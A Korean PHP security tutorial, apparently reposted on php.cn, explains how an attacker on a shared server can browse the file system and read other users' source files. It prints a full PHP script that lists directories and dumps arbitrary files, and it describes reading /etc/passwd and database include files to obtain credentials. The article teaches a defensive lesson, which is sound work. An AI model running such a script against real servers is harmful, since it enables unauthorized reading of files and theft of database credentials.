>  기사  >  백엔드 개발  >  PHP 보안 - 파일 시스템 검색

PHP 보안 - 파일 시스템 검색

黄舟
黄舟원래의
2017-02-20 09:30:08837검색



파일 시스템 검색

공격자는 공유 서버에 있는 임의의 파일을 읽을 수 있을 뿐만 아니라 파일 시스템을 탐색할 수 있는 스크립트를 생성할 수도 있습니다. 대부분의 민감한 파일은 웹사이트의 홈 디렉터리에 저장되지 않으므로 일반적으로 이러한 유형의 스크립트는 소스 파일의 위치를 ​​찾는 데 사용됩니다. 다음 예를 참조하세요.

 <pre class="brush:php;toolbar:false">
 
  <?php
 
  if (isset($_GET[&#39;dir&#39;]))
  {
    ls($_GET[&#39;dir&#39;]);
  }
  elseif (isset($_GET[&#39;file&#39;]))
  {
    cat($_GET[&#39;file&#39;]);
  }
  else
  {
    ls(&#39;/&#39;);
  }
 
  function cat($file)
  {
    echo htmlentities(file_get_contents($file),
ENT_QUOTES, &#39;UTF-8&#39;));
  }
 
  function ls($dir)
  {
    $handle = dir($dir);
 
    while ($filename = $handle->read())
    {
      $size = filesize("$dir$filename");
 
      if (is_dir("$dir$filename"))
      {
        $type = &#39;dir&#39;;
        $filename .= &#39;/&#39;;
      }
      else
      {
        $type = &#39;file&#39;;
      }
 
      if (is_readable("$dir$filename"))
      {
        $line = str_pad($size, 15);
        $line .= "<a
href=\"{$_SERVER[&#39;PHP_SELF&#39;]}";
        $line .=
"?$type=$dir$filename\">$filename</a>";
      }
      else
      {
        $line = str_pad($size, 15);
        $line .= $filename;
      }
 
      echo "$line\n";
    }
 
    $handle->close();
  }
 
  ?>
 
  


공격자는 먼저 /etc/passwd 파일 또는 /home 디렉터리를 확인하여 서버의 사용자 이름 목록을 얻을 수 있습니다. 웹 사이트의 홈 디렉터리 외부에 저장된 소스 파일의 위치는 include 또는 require와 같은 언어 구조를 통해 검색할 수 있습니다. 예를 들어 다음 스크립트 파일 /home/victim/public_html/admin.php를 고려해 보세요.

  <?php
 
  include &#39;../inc/db.inc&#39;;
 
  /* ... */
 
  ?>


공격자가 파일의 소스 코드를 표시하면 db.inc의 위치를 ​​발견할 수 있으며 readfile() 함수를 사용하여 해당 내용을 노출하고 데이터베이스에 대한 액세스 권한을 얻을 수 있습니다. 따라서 웹사이트의 홈 디렉터리 외부에 db.inc를 저장해도 이 환경에서는 보호되지 않습니다.

이 공격은 공유 서버의 모든 소스 파일을 공개로 간주하고 모든 민감한 데이터를 보관하도록 데이터베이스를 선택해야 하는 이유를 보여줍니다.

위 내용은 PHP 보안 파일 시스템 검색 내용이며, 보다 자세한 내용은 PHP 중국어 홈페이지(www. php.cn)!


성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
이전 기사:PHP 보안 안전 모드다음 기사:PHP 보안 안전 모드